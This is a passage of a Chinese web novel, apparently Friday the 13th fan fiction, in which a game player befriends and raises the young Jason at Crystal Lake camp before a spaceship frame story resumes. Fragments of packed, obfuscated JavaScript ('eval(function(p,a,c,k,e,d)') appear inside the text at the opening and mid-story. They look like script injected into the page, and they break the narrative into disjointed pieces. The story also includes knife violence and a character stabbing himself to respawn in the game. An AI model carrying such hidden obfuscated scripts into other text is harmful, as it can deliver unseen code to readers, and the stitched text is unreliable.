;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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全是他妈的傻子。凯愤慨地想。 几分钟后,苏珊的柔情与轻哄有了成果,含泪的瓷娃娃破涕而笑。没了安慰小朋友的问题,苏珊这才反应过来汤姆并非夏令营的男孩。 索性有帕米拉·沃赫斯的支持,她帮汤姆办了入营手续。帕米拉并不在乎汤姆是什么人。虽然汤姆凭空出现,但她只当是上帝送来的礼物,一个善良、可爱的宝贝,儿子喜欢,她也喜欢。汤姆没有父母亲人正好,她不用费脑子思考怎么让小可爱属于他们家,庆幸还来不及。 从那以后,汤姆和杰森一起上水晶湖夏令营。和小孩子打交道的感觉很奇妙,有种不需要脑子的快乐。而一想到曾经举着砍刀追杀他的杰森,如今成了个小鸭仔,跟在身后寸步不离,汤姆感觉更奇妙了。 所以小鸭子怎么变成见人就砍的杀人狂?难道要一直等下去,直到杰森成为记忆中高大冷酷的面具男,自己再想办法杀死杰森?那还不如现在趁人还小且傻的时候,先解决了他。奈何汤姆三观尚且正直。对一个无辜而且还信任他、喜欢他的小孩,汤姆又不是变态,怎么可能下得了手。 然而问题又回来了:现在不杀小杰森,等他成为大杰森,被杀的就是汤姆了。棘手,太棘手了!汤姆感觉难办,有点气恼地想,杰森非长大不可吗?不能一直保持小孩的单纯可爱吗!等等—— 保持小孩的单纯可爱......或许,汤姆意识到,他可以选择监督杰森,不让杰森变成杀人狂。俗话说,教育要从娃娃抓起。游戏策划让他来到杰森小时候,只怕也是这个打算吧!再说,就算杰森还是受到不可抗力因素的影响,变成了坏蛋,他可以趁杰森还是个青涩的坏蛋时,先砍了他呀! 没错就是这样!汤姆确信自己找到这周目游戏的目标—— 让杰森保持单纯!杀人狂滚开。 为此,他的热情空前地高涨,废寝忘食,完全没意识到游戏时间飞速流逝,把飞船外出考察的日子抛在脑后。 —— 每隔几年,博士卢威便会把古星球纳入考察计划,这次也不例外。 古星球是人类旧居,外观发黄,内里风沙席卷,满天飞尘石块,犹如沙漏,一刻不停地从天空渗落黄沙。然而与充满危险的各大行星相比,古星球危险系数低,又遍布人类遗迹,自然成为新手科研队伍的探索首选。 不过,博士的科研队伍完全称不上新手。之所以三番两次前往古星球,全因博士的期待:挖掘宝贝,大赚一笔。 考察的日子到了,飞船舱门聚集了一批人。卷发女人单手叉腰,靠在墙壁。她是博士的学生,珍妮莎,泼辣的性子让博士爱恨交加。一男一女举止亲密,小声交谈。在他们身侧的亚兹拉耳朵捕捉到关键词:考察地风沙指数、实验数据......森纳朗和金凯不愧是博士的好弟子。亚兹拉感慨道,身体却不由自主打了个激灵。喜欢玩乐的天性,最听不得这种令人头疼的东西。亚兹拉捂住耳,忙不迭踱步到黑皮肤青年威兰德的身边。 他们身形各异,穿着倒是统一,白色舱灯照射在他们明黄的防护服上,宛如黄橙橙的蜂群,不停地发出嗡鸣声。直到走廊出现一道步履迅疾有力的身影,安静笼罩舱门口。 “很好,大家都很准时。”姗姗来迟的博士卢威说。他粗略扫过人群,不对劲的感觉浮上心头。目光转了两圈后,他不敢置信地发现缺了一人。“汤姆怎么没来?”他问森纳朗,他的得意学生之一。 森纳朗原本仰着头。他制造出的机器人,金凯,正帮他摆弄脖子旁的银色立领。见博士看来,他不好意思地示意金凯松开,“抱歉博士,”他自己整理着衣领,“我也好几天没看见汤姆了。” 卢威转向其他人。众人纷纷摇头,唯有亚兹拉跳出来,“我知道我知道。”亚兹拉了解汤姆,确信这小子多半是沉迷游戏,忘掉今天有考察行动。“汤姆他肯定——”话到嘴巴,亚兹拉突然忆起汤姆的厉害。 汤姆很会哭。旁人哭,起初会叫人心疼,久了后只会不耐烦。只有汤姆哭得浑然天成,让人觉得理所应当,像是云朵该化雨,汤姆那双澄澈明净的眼睛就是拿来流泪的。他一哭,不管是痛哭泪珠簌簌,还是噙泪要哭不哭,都会给人一种‘他一定是受了天大的委屈’的错觉。每当这个时候,惹哭汤姆的人百口莫辩,那张哭哭啼啼的面孔再也不漂亮了,他们发誓没见过这么凶神恶煞的魔鬼样,甚至都丧失了使坏好报复回来的劲儿。 亚兹拉支吾着改口,“呃......汤姆说不定睡过头了。”卢威皱眉,亚兹拉自告奋勇地请求,“博士,让我去叫他!”他旋过身,脚步都要迈出去了,一声呵斥令他垂头丧气地转回来。 亚兹拉所担忧的何尝不是博士心中的顾虑?随便换一个学生,卢威都能轻松拿捏他们。他是这群孩子的导师,学生们的论文、考试成绩、科研项目等都掌握在卢威手中。然而汤姆软硬不吃,跟个盛水瓷瓶没两样,稍微磕绊,便会轻易地叫他破碎流泪。完全没点男人不该流泪的意识! 博士皱起眉,光看这副严厉的神情,没人想到他对汤姆也束手无策。“让我想想,汤姆......”他低头沉思该怎么办。 森纳朗及时开口:“博士,我觉得不用叫汤姆。古星球大部分区域都已经被开发探索,不存在类似M星系行星的未知风险。这次考察的范围有限,我们人并不算少,足够了。” “三百年来,陆续有12875支科考队伍,75%的古星球地表区域均已被探索完毕,此次前行目的地,存在除沙尘暴外的危险概率为9.82%。”金凯的数据说得十分流利。诞生之初,森纳朗将所有的知识储备在她的核心处理器中。说金凯全知全能,一点也不夸张。 卢威满意地点点头,“可以。”他转朝安静地站在舱壁旁的警卫队队长,“柏斯基中士,飞船就交给你们了,请小心,别磕着仪器。它们可宝贝着呢。” “大可放心,博士。我会禁止大家靠近实验室,如有搬运需要,会告诫他们轻拿轻放。”柏斯基把手放到胸膛,“你可以一直信任警卫队。” 卢威咳嗽两声,清了清嗓子。“另外,告诉汤姆把2号培养皿放进冷冻室,再写份实验报告,等我回来处理。” “那汤姆的眼泪只怕要把飞船淹了。”柏斯基嘴角扬起一抹微笑。过道里窃笑声响起。飞船上没有人不知道汤姆的厉害,就算没亲身体验过,也见过听说过。 卢威又咳了一下。“那也是他该的。今天什么日子还敢迟到。”众人呵呵笑起来,引得博士回头瞪他们,“愣在这里做什么?不快点上飞船,要我请你们?” 珍妮莎率先转身,背对众人举手挥了挥,算作告别。亚兹拉和威兰德推搡着彼此离开。留在最后的森纳朗抓抓头发,“好的,博士。那我们先去飞船上等您。”得到博士点头后,他才和金凯走向出舱口。 中士最后祝福卢威一行诸事皆顺。博士笑着接纳祝福,又将飞船安全叮嘱了一遍,才旋身离开。舱门打开又合拢,过道只剩下中士一人。 骤然陷入宁静,柏斯基还有些不习惯,他侧身看向舷窗外,圆顶柱身的小型飞船浮起,远去。金属制外壳涂上白漆,森冷如尸骨,映到柏斯基眼底,一抹微妙的预感闪现心头。 他分辨不清,只下意识用更为专注的视线盯住飞船,见它动作迅捷,上下翻转间,光速而从容地穿过卫星残骸,很快变成拳头,然后是针尖的大小,消失在宇宙中。 希望博士此行顺利吧。警卫队队长心想。 37.十三号星期五14 汤姆讨人喜欢的本领出神入化。全赖一张蜜嘴,兼之俏丽的五官,水晶湖营地上到辅导员、下至参营孩童,几乎立刻就接受了这位中途加入的新营员,连带总跟随他身侧的小怪物,也觉得看顺眼起来。 营地生活堪称惬意,令汤姆感到美中不足的只一点:背后两双宛若在监视的眼睛。一道懵懂友善,另一道则阴沉且对他毫无好感。对于目光的出处,汤姆心知肚明—— 杰森和曾经的夏令营孩子王,凯。 当然,孩子王这么不威风的称呼,来自汤姆私人的总结。凯若是知道,非得气炸不可。他自称为夏令营的老大、霸主,凭借拳头拿下的名头。如今打架输了,还当众被揍了屁股,不光他本人觉得丢脸,跟班见了他就躲,生怕有人把他们和凯联系起来;所有人一提起他就哈哈大笑,女孩看他的目光也带上嫌弃。 心高气傲的凯必不能接受。不多时,他的鬼祟踪迹落入孩子们眼中,他们转头,以争先恐后的姿态告诉汤姆:凯在伺机报复。 连幼童都能发现的事,汤姆自然早早知晓。凯从辅导员赖恩处回来当天,脸色难看,活像吞了只臭老鼠。接下来几天,他每天贼头贼脑,缀在汤姆身后。行为显眼,不用他人提醒,汤姆想不知道凯在揣坏都难。所以当进入谷仓,铁门哐当关上,落锁声一并响起,汤姆不费力就猜到谁干的。 汤姆被关进来也不慌张,慢悠悠在仓内四逛。再过一个小时不到便是午餐时间,必然会有人发现他不见,凯若是以为能关他一下午,那可真是错得离谱。等汤姆出去,凯能有什么好果子吃呢?他难道以为没露出身形,自己就不知道是谁锁的门?若凯再放把火,汤姆反倒会钦佩他,再把他送去管教所或者惩戒所。可惜凯只会搞些小打小闹,尽做蠢事,汤姆都快怜爱这个没脑子的高个子男孩了。 谷仓的空气里弥漫着干草和木头腐朽的味道。气味鲜明,汤姆再度感慨游戏细节的逼真?他左右环顾,堆积如山的麻袋映入眼帘。麻袋鼓得像只意大利香肠,垒成巨人的高度,顶部挨着阁楼的房梁。墙角上挂着农具,有几把生了锈。与星际时代相比,装束堪称迥异。 汤姆边走边不住地打量,瞧得正新奇,裸露的后颈忽地传来顺滑圆钝的触感,他头皮发麻,立时往前跳开,回头看到是条带钩铁链。链于房顶垂落,离地几米,用于运输重物。地面散落的稻草,便是稻堆运往阁楼途中飘落出的。 汤姆大松口气,他还以为是蛇虫之类的东西。他又看了眼黑漆的长链,见它与阁楼的滑轮连接,便从楼梯爬上阁楼。淡淡的草木香扑面而来,遍地稻草堆,敞开的百叶窗倾泻数道光线,照得草堆金黄明亮。 汤姆走到窗边。谷仓是水晶湖营地最高的建筑,往窗户外眺望,几栋木屋、草坪还有湖泊都一览无余,随处可见孩子的身影。营地辅导员苏珊和赖恩坐在木屋前的台阶上说话,没几句,就挨着亲吻起来。倒是杰森没见身影。 只要放开嗓子喊几声,这些人就会听到,叫凯的坏主意泡水。可汤姆手搭在窗边,放松地靠着,仿佛正躺草坪上晒太阳,全无求救之意。他是个苛求形象的人,连哭泣时脸上每一个五官的细微弧度都对照镜面,精心设计,保证要让人看了心升怜惜,而绝非不耐。 阁楼距离最近的人群隔着几棵橡树和一大片草坪,要让人注意到,势必要大喊大叫伴随夸张的肢体。如果凯把汤姆关进谷仓的目的,是为了见汤姆扒着窗棱,惊慌失措的狼狈模样,那他倒是报复到点上了。但更有可能凯没调查过仓房,只是脑子一热地行事。 再说了,自己主动呼救,哪有众人发现人不见来找,让人觉得事态严重?凯送上门的把柄,若不借机教训他未免可惜。 汤姆离开窗,没几步,他踢到石头似的硬物,有什么东西在眼前一闪而过。它贴地擦过木板和干草,滑行进墙角。那是窗对侧的角落,因缺乏光线而略显昏暗。 汤姆疑惑地走近,捡起它。入手所触是数个细小的空隙,依稀可辨认的形状有些眼熟,汤姆把它举到窗外洒进的光下。 日光令一切清晰,眼睛捕捉到物品的瞬间,恐惧犹如游蛇在指尖一窜而过,五根手指全部忘了如何发力。脆耳的落地响声穿透谷仓阁楼。 那是个面具。准确来说,是一个红纹的曲棍球面具,具身布满蜂巢般细小的孔洞。看起来,它和大块头杰森佩戴的那副一模一样。 这个款式很常见?还是说......它便是属于杰森的面具?汤姆掐了一把手腕,“不管怎样,一个人死物罢了。人不能吓自己。”他喃喃道,恢复平和,再看曲棍球面具时,目光和脚边的稻草没区别,只多了一丝审视。 疑似杰森所佩戴之物忽然出现,汤姆相信其中另有深意,哪里愿意放过线索?他屈膝要拾取,身前落下一道阴影。他吓得跳起来一巴掌挥去。 “啪”的一声,现身的不是恶棍,但某种程度上,也可以称他凶神恶煞—— “杰森!”汤姆错愕唤道。“你没事吧?抱歉,我不小心。”他不带埋怨地咕哝,“哎,你怎么偷偷溜到我背后?真吓我一跳。” 丑陋的男孩用手摸了摸左脸颊,指尖下有鲜红的手掌印。[我没事,]他迟疑了几秒,才比划出,[我惹你不开心了么?如果是这样,你再给我一巴掌好了。] “啊?”几天的相处下来,汤姆也学会了点手语,他却怀疑自己学岔了。“你说了乱七八糟的东西吗,杰森。我看不懂你刚才的比划。” [如果我让你生气,你打我吧。]杰森耐心地重复了一遍。 杰森的五官畸形又小巧,由它们组成的面孔堪称是灾难,任何的表情落到这张脸上,都会褪去人类用以用以矫饰的附骨肌肤般,让人升起直面生冷骨肉的悚然,四肢发麻。不外乎“怪物”之名远扬。 然而,汤姆只看到一个十岁的小孩,呆呆望着自己,面无表情的脸蛋浮现愚憨的神态。汤姆不禁忧心忡忡地想:难道刚才那巴掌扇没了杰森为数不多的机灵劲?不然好端端的,怎让人打自己? “别这样杰森,会让我担心把你打傻了。” 杰森不说话,向前逼近,在汤姆看笨蛋的眼神中,拉起汤姆的手放在右脸颊,眼睛却定定地看着汤姆。 ——他是认真的。 某个瞬间,汤姆感觉心脏被小小蛰了下。不疼,却令他无措,愈多的念头闪过脑海,最后化就一道强烈的忧虑:完蛋,不会真被打傻了吧?汤姆越看杰森,越只能看出傻里傻气。他甚至怀疑,真的再打一巴掌,杰森只会乐呵呵接受。 杰森用干涩的脸肉蹭蹭汤姆的掌心。犹如揉皱砂纸的触感叫汤姆忘记心底的复杂,转而推开杰森的脸,“别说蠢话。我是爱揍人取乐的坏孩子吗?”他踌躇了一下,“我刚刚不是故意打你,我也没生气......纯吓的,忙乱着......手就跑你脸上去了。” 面庞隐隐泛红,被吓得失态实在丢人,承认这件事更让他羞赧。但他实在无法忍受眼下诡异状态的杰森,心中希望尽早结束话题。 杰森发出无声的失望叹息。[那好——]他的手势忽地顿住。 汤姆顺着杰森的视线低头,这才发现手里攥着面具。应该是方才仓猝起身时一道拿起。汤姆挥了挥面具,“你在看它?”虽在发问,语气却是肯定的。他心里已认定面具对杰森有特殊意义。除了麻布头罩,杰森每逢现身,哪次没戴曲棍球面具? “要不要试试?”汤姆塞给杰森,连声唤他试试。 入耳的声音轻悦,杰森晕晕旋旋,回过神来,眼前骤然一黑,头因覆面多了分重量。他颇为不自在,扶了把面具,豆大的眼窟窿覆上双目处,才得以见光,看到望着他打量的汤姆。 “大了些啊......”汤姆评价了一句。从他的视角看去,几乎见不着杰森脑袋和头发。因覆面物过大,杰森得托着面具,场面添上几分滑稽。汤姆残存心底的惧意消弭,“我还是给你取下来吧。它不适合你,至少现在是这样——嗯?” 杰森按住汤姆的手,摇摇头。“好吧。”汤姆改为帮他调整具身的尼龙带,好使其不遮眼,影响到日常生活。上下看了几眼,汤姆稍觉满意地点头,才后知后觉发问:“你怎么进来了?” [凯说你在这。] “......就这样?”汤姆惊讶,“他就这么把你骗进来了?” [骗我?可你确实在......]汤姆太坚定了,杰森不确定起来。 汤姆眼神复杂地望着杰森,“亏我还担心把你打傻。我该想到的,你就是个笨蛋,真的。天生的笨蛋。” [我不笨......]帕米拉说他不是笨蛋。 汤姆哼了一声。杰森顿时忘却母亲的话,迅速地改口[好,我笨,是个笨蛋。] 最后,辅导员姗姗来迟,打开被锁的谷仓。作为罪魁祸首的凯逃不脱,被赖恩临走教训前,他充斥恨意的目光如毒蛇般,阴冷缠绕上汤姆和杰森。 这为汤姆敲响了警铃。他原不把小屁孩放在心上,但牵涉到杰森,必须慎重对待。凯之前便让杰森落水,要是没有自己,湖面会多具浮肿的尸体。既有害人前科,万一叫凯再次成功,给杰森心中种下仇恨的种子,他找谁说理去? 汤姆准备给凯一个动手的机会。奈何杰森寸步不离,以至于汤姆故意落单时,身边还跟个杰森。他们两个人,凯还会动手吗?事实证明,汤姆的担心多虑了。凯向来不把弱小子放眼里,握把小刀现身。 汤姆不合时宜地松了口气。凯出现就好。 “你看不起谁呢!”凯感到被轻视了,怒气冲冲:“小杂种!没看见我手上的刀子吗?” 他挥舞刀。刀面惨白,刃口尖利。只需看上一眼,便知是把锋锐、可怖的好刀,划开皮肤,将如切割薄纸般不费力,轻易便使人开膛破肚。 “看清楚了!刀可不长眼!你现在跪下求饶还来得及。” “杰森,”汤姆微笑着问杰森,“有狗叫诶,听到了吗?” [听到了,有狗叫]杰森边点头边比划。不违背帕米拉说的话时,他从来都是无脑符合汤姆(实际上,就算与帕米拉所言矛盾,杰森坚持不了几秒就会倒戈向汤姆)。 凯气得脑袋发胀,浑身抖动,快握不住刀。“你——”他气急败坏地上前一步,“臭小子!你以为我不敢动手吗?别仗着身手好,就目中无人!你还认为这次能从我的手里讨着好?别自大了,也不看看你这个子几斤几两——你走过来干什么!停下!”他慌得后退呵道。 汤姆示意杰森站在原地,他自己则一步步上前。只要凯用刀伤了他,有了确凿的伤口,辅导员不会像前几次一样轻拿轻放。反正自己痛感为零,只要避开要害,随便凯戳刀动手。 起初,不知汤姆依仗的凯被这反常的行为震住,接连后退。明明汤姆手无寸铁,凯却不知为何感到害怕。竟有人见刀不躲不避,反而迎面冲来?他色厉内荏地威胁:“你再上前,我可就动手了!小子,我手里的可是刀。小心割破你的皮肤,血流得满地都是,那可不好看。” “好呀。”汤姆敞开双臂走进,“来,让我见识见识。”见凯攥刀不动,他笑叱道:“愣着做什么!怕小刀无眼,伤到自己?丁点大的胆子也敢玩刀。”汤姆站定,冲凯招手,逗狗似的随意,“我不上前了,你且过来吧。走几步的勇气你总有吧?” 嚣张!太嚣张了!喷薄而出的气愤控制住凯的大脑,他举刀冲来,步履迅疾,眨眼间便凑近。 他的个子高出汤姆一截,瞧刀挥舞的轨迹,只怕会划破脑袋。汤姆不愿脸庞顶个丑陋的伤疤,便主动伸手,用巧劲徒手接住小刀,把刀尖往下压。猩红从合十的掌心溢出,沿着刃缘与指尖,流下粘稠而湿哒哒的细痕,宛如刀子刺入杰森的眼睛,他几近慌张地上前,汤姆仿佛后脑勺长出眼睛,头也不回地呵斥杰森站好。 凯大惊失色:“你——” 凯个高,尽管刃朝下压,尖端仍指颔处。于是趁凯惊愕的空挡,汤姆抬脚,踢向他的膝盖。噗通一声,凯跪到地面,利刃顺向刺入胸膛。伤口犹如泉眼,涌出红流,浸湿衣襟,腥味争先恐后地扑鼻而来。 疯子!凯骇然。汤姆笑得浑然不知痛觉何物,叫人脊背生冷。他结巴道:“你——你——”不怕疼?不要命了? 失神无措下,凯被冲上来的杰森撞翻。爬起身后,也顾不上找抱住汤姆的杰森算账,哆哆嗦嗦跑走。 虽无痛感,但失血造成的眩晕、身体无力还在,汤姆软倒入杰森的怀。杰森一屁股倒地,好歹双臂牢记护人的使命,紧抱住汤姆,成了人肉垫子,为汤姆提供缓冲。他藏在面具下的脸色白似骨,浑然像他才是受伤被捅成血人的那个。 “一点小伤口,没事儿啦。”汤姆安慰他,“你先去叫人吧。多叫点人,小孩、大人都叫过来......嗯,算了,你叫几个胆子大的吧,免得吓到人。” 经此一事,辅导员决定让凯退营,叫凯的父亲接孩子回去。那是个壮硕的中年男人,赶到营地的首件事,便是当众便给了儿子一巴掌,把人打得翻倒在地。他不住地唾骂,如对待污秽的可恨的仇人般,怒斥小混帐让他丢脸了,强压着凯来病床前给汤姆道歉。 帕米拉把父子骂走了。她请了律师,医院的伤情报告交到警方,调查中,凯此前害人落水、冷眼不救的恶行暴露。再结合夏令营孩子们的证词,检察官选择把案件移交少年法院审理。最终法官判决凯进入少年惩戒所,夏令营再也看不到这名十六岁男孩的踪迹。 事后杰森对汤姆说:[我会变得更厉害,不会再让人伤害你] 汤姆条件反射地挑眉:“包括你自己?”前几个周目杰森的追杀历历在目,给汤姆留下莫大的阴影。 [当然!]杰森发誓,[我绝不会伤你] 他目光灼灼,坚定之情溢于言表,超出脸庞一周的面具将他区分于杀人狂杰森。可本质上,他们仍是同一个人。多次杀了自己的人发出如此承诺,再郑重其事,汤姆也感到有种反常的怪异,如见乌鸦拍翅绕尸,不为食腐,而去恫吓苍蝇之辈,以护尸体周全。 汤姆的目光不加掩饰,其中的怀疑、否认、轻视均令杰森发颤受伤,血管像有熔铁流动,对血肉的蚀意摧枯拉朽,一路焚至咽喉,烂嗓更显破落、乏力,任凭主人鼓动肌肉,也无法像常人般流畅出声。他嘶嘶低吼着,疯狂地比动手指,哀切求道[请相信我......] 过激的反应差点把汤姆下一跳,忙抱住人安抚,“你好好长大,成为个健康、善良的青年,我便相信你。”此言不假,倘使杰森拥有一颗善良的心,汤姆自不必优惧他会化作杀人狂。“我会努力帮你,你也要好好约束自己,好吗?” 健康、善良的人是什么模样?杰森想象不出,但他知道,答应就好,照做就行。于是他用再坚决不过的力道点下头颅。 自那以后,杰森悉听汤姆所言,每天多吃,不落锻炼,个头很快蹿起来,如瘪气球须地充盈起来,削瘦的身躯肉眼可见覆满肌肉。帕米拉给杰森量了好几次尺寸,新衣裳仍难跟上杰森变壮的速度。 他穿着小一号的衣服,不言不语,缀在汤姆身边,影子般不离分寸,不理旁人。不合适的衣服,不合群的行为却再也招不来嘲笑。只因杰森山丘般卓越的个头,使其存在似岩,坚硬且刚强,少有不自量力的蠢人妄想挑衅。而他外覆的面具,在阳光下也无法驱散冰冷的气息,愈加突显属于怪物的非人感。那张畸形的面庞被遮蔽,人再也无法从怪物身上寻到低人一等、可堪嘲笑的弱点,只余下害怕、战战兢兢。 杰森自然也具有听话、善良、内敛的品性,但他相当吝啬,只在帕米拉和汤姆面前展露。而若没人受过杰森的友善,他们又怎会以好意回馈杰森? 扭曲的关系像泥泞地,干净的植株难生长。作为让博士、一众好友爱恨交织的交际花,汤姆深知这种人际关系不正常,于是竭力帮助杰森融入同龄人。 多亏了面具和孩童的纯良天性,营地幼孩淡忘杰森可怖的面容。一开始虽不习惯杰森的面具人装束,也逐渐适应,甚至因杰森越长越高,身形日趋庞然巨物,他们油然钦佩起那具躯体所蕴的力量,佩戴面具成了竞相模仿的潮流。 如此十年过去,汤姆和杰森成为水晶湖营地的新任辅导员。两人上哪儿都挨在一起,又住同个屋,宛如连体婴,可谓形影不离,落在所有人眼里,不是兄弟,胜似兄弟。 营地每年迎来一批新的小孩:高个矮个,胖小子瘦小猴,可爱的顽皮的......他们叽喳若蜂群,讨要花蜜般缠着汤姆打转。汤姆说得口干舌燥,差点挂不住微笑,心中烦闷之迹,杰森会适时站出。 无论什么模样的孩子,只要杰森出现,立时化成两股战战的小鹌鹑。杰森朝门口一指,孩群顿时彷如游动的地毯,齐扑向屋外。有个孩子落后一步,因他塞给汤姆的花耽误,只来得及羞怯地留下句“给你们的”,仓促去追伙伴。 相较十岁,杰森已然有了翻天覆地的变化,身体壮硕强大,覆面之物红白相间,无人可透过它,探知其真实想法。他的沉默寡言似暴雨前夕的宁静,见者惧怕一句不慎,便令风暴骤起,叫铁锤般的拳头重磅落下。 杰森长成了汤姆记忆中的熟悉模样,皮囊是同等的高大凶恶,言行截然相反,汤姆觉得亲切又奇妙。仿佛命运对他和杰森开了个玩笑,杀人狂和受害者成了好友,倒真有戏剧性。 他大步走至汤姆跟前,如风的迅捷。[可以给我一下吗?很快还你]他指着那朵山楂花。 汤姆刚点头,花落入那双亮铜肤色的手中。杰森两指自上而下轻松地一划,刺尽数折没。他方才递出[好了] “……我看起来像个气球?”汤姆看看茎平滑若丝的花枝,扯了下不知该如何反应的嘴角,“竟让你觉得我脆弱得刺一戳就破?” [我要保护好你] 汤姆扶额头,“保护有点过度了,兄弟。”他拉起杰森的手,示意他看。 这是双巨人之手,宽且坚,属于常年苦劳者。其主人搭弓射箭、操控农具、握浆划船,偶尔操起砍刀,锋而沉坠的刀口伤不到他的毫毛。自帕米拉走后,杰森继承手艺,挥起菜刀,才使老茧被划破,留下伤疤。嫩肉历时长出,成了钢手上唯一可看出血肉的地方。 “这才是你该保护的。你要先照顾好自己,才能护好别人。”汤姆说。 [你说得对。]杰森点点头。他总这样,不管汤姆说什么,附和第一。 汤姆发出叹息。“我怀疑你没明白。算了,我和傻子计较什么。”他换了个话题,“抱不?” 杰森帮忙解决问题,汤姆心情好时,会奖励个拥抱。最开始,拥抱全然出于感激。感动的人行道谢之举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水晶湖地区密林幽深,绿湖荡漾,碧草如茵,倚山拥湖的地理环境,使得这里的居民容易养出野猴子。然而深林并非安全无虞,尤其是盛夏时节,各种危险潜伏其中。作为营地辅导员,汤姆有责任对孩子的安全负责,并不希望此地发生事故。 [好]杰森颔首,双眼投出的沉静目光,有如他延伸出的手指,轻轻搭在汤姆肩头,偶尔蹭蹭后颈打卷的黑发梢。这便是他全部的满足。 空气沉静下来,偶尔灌木丛中蟋蟀跃出几声长鸣,草坪上结伴的青春男女笑容灿烂。汤姆一边笑小孩人小鬼大,一边想起帕米拉的话。 自两个小孩长成,关系亲密,彼此扶持,帕米拉放下了对杰森病态的关心。一年多前,她带上行李,四处旅行,时不时打来电话关心两小孩。她当时提及两人的情感问题,汤姆含糊过去。他怎么可能在游戏里谈恋爱! 至于杰森,杀人狂版的他,汤姆敢肯定绝无常人的情感,遑论爱情?但是换成面前的杰森,汤姆不免好奇。“帕米拉妈妈希望你交个女朋友,电话里旁敲侧击问过我几次。你一直没动静可把她急坏。杰森,你到底是怎么想?” 杰森戴着面具,看不出神色,绿瞳比湖面青苔还要轻软。[我只想陪着你。] 又来了。汤姆蹙起眉。自长大,杰森黏糊糊的劲儿不但没有减弱,反而愈演愈烈。他不甚聪明的大脑,令脾气如木头般直来直往,表现在言谈上,便是常说些不知边际的话。 “别这么说话。太奇怪了。”会让汤姆怀疑杰森把自己当姑娘来喜欢。光想到此,汤姆快将双臂摩得泛热,好消消嫌恶的鸡皮疙瘩。“你是不是故意这么说,想逗我?”汤姆怀疑地看他,“明知道我不喜欢,还偏说怪话。” 杰森摇摇头。[我是真心的。] 早在母亲首次提及,他便悄悄向母亲说明了心意。帕米拉接受得相当快,一如当初她决定收留汤姆时,喜不自胜,反过来催促杰森行动。可她的儿子,连她一半的魄力都不具备,瞻前顾后,迟迟未有动静。 杰森了解汤姆。汤姆看着性子柔,一旦有所主意,往往决心坚似磐石,十头健马也拽不来他的回心转意。倘若汤姆因此厌恶他,那必然不会留下余地,只怕连做朋友也没机会。 总有时间的,杰森想着。再说了,只要能一直陪着汤姆,让秘密长眠心底,一辈子秘而不宣又怎样? 可是,意外总是先人一步发生——汤姆在木屋遭了蛇的毒口。 灌木丛藏匿毒蛇。杰森知道这点,但未曾把它与身边人联系。倘若预料到今日,哪怕林子有上万条毒蛇,他也会一一找出,逐个掐死,不放过这些畜生的蛋。 杰森眼睛发红,懊恼不已。他早该想到人有多么脆弱,由血肉做的身躯又是多么不堪一击,别说与刀剑抗衡,稍有不慎,就会像根稻草竿,咔嚓断成两截。 汤姆还跟平常无二,毫不慌张。他唤杰森拿把刀来,六神无主的杰森照做了,从墙边取下砍刀。刀是他们刚接手营地清点物资时,在仓库的角落里发现,铁质刀柄生锈,刃面覆着厚灰尘。杰森用它来修剪灌木、劈柴除草,是曲棍球面具外,另一个他爱不释手的物品。若不是汤姆三令五申,命他不准吓到孩子,他准会随身携带(尽管如此,有小孩撞见他拿砂纸磨刀,吓得抱头尖叫几乎滚着去找的汤姆。营地里恐怖杰森的传说再添事例)。 汤姆接过刀,没有片刻犹豫,朝胸膛径直砍去。 浓厚的血腥味霎时直冲天花板。杰森表情尚且茫然,手臂已伸长,捞住身前将卧倒的人。软绵的身体滑入怀中,乖顺地蜷缩在他臂膊与胸膛形成的一方空间中。杰森深夜多次梦过这样的拥抱,却绝不在这种情况下。 血迹斑斑,某副相类的场景跃进杰森的大脑。过去了十年,画面里的每个细节依旧历历在目。当时也像这样,与持刀人对峙的汤姆,又主动迎上刀尖。 为什么?他覆面下的脸颊肌肉抽动,双手颤抖着堵住汤姆左胸的豁口,感受到血液润湿掌心,稠如乳酪,溢出指隙往下流。冷意统御他的心神。 杰森十岁前,生活与死水无二。受人冷眼,听尽嘲讽,每日如此,年年皆然。人们称他出生时,脑子叫恶魔踹了脚,格外相配他那张有如狗啃过的面容。汤姆的到来,宛如活水注入,所有焕然一新。怪物不再无忧无惧,此刻恐惧正达到顶峰。 低而糙的嘶吼声跃入耳际,汤姆难得愧疚。都怪破游戏无法回档。玩家只能选择死亡,然后再登录,借此刷新出一具新身体。相较于被送医院,等待不知成功与否的救援,自杀刷新效率更胜一筹。玩家的耐心有限。就是当着杰森的面这么干不太厚道。 “没事儿啦。”汤姆拍拍杰森的肩膀,以有十足信心的口吻宽慰道。这法子不是凭空冒出的,这周目他尝试过,因被蛇咬时。不然他怎么会担忧孩子被咬?都是血泪的教训告诉汤姆,对危险动物的警惕松懈不得。“放心,我会回来的,很快。到时你见到的会是个健康的汤——” 破游戏怎不让人说完话?回到游戏大厅的汤姆对着空气干瞪眼,好一会儿后,他反应过来肚子的异状——如同放了把火,饥饿感灼人。 汤姆准备去餐厅拿点吃的填饱肚子。出门不久,他看到警卫队。人们步履匆匆,打招呼时,不苟言笑的脸上先露出笑意,他们说科研队伍顺利归来。话音里的兴奋让汤姆意识到博士此行收获颇丰。 警卫队告诉汤姆,博士他们发现一男一女,两具古人类的冰冻遗体。“尸体足足有四百多年的历史,更不可思议的是,那个年代的冰冻技术竟精妙得不亚于现在,把女人的身体保存得完整,金凯说她很有复活的可能。” 是身体,而不是尸体。汤姆在心底纠正。唤醒冰冻之躯,与叫尸体起死回生,这完全是两码事。前者已司空见惯,不稀奇,后者却能让博士赚个盆满钵满。 “男的就没那个好运了,浑身冰渣,死得不能再彻底。”警卫队开玩笑地说,“幸好他活不过来,不然我怕飞船的粮仓都不够他吃的。他太壮了,活像只星际巨怪,四个人才勉强抬动他。” 这话勾起了汤姆的好奇心,能比杰森还壮吗?他把饥肠辘辘直叫唤的肚子都放置一边,准备跟去瞧瞧,他穿过舷道,拐了几个弯,撞上在舱门口指挥的柏斯基。 两人互问好后,中士先表达了没找到《Friday the 13th》游戏、无法履行答应汤姆共玩承诺的遗憾。 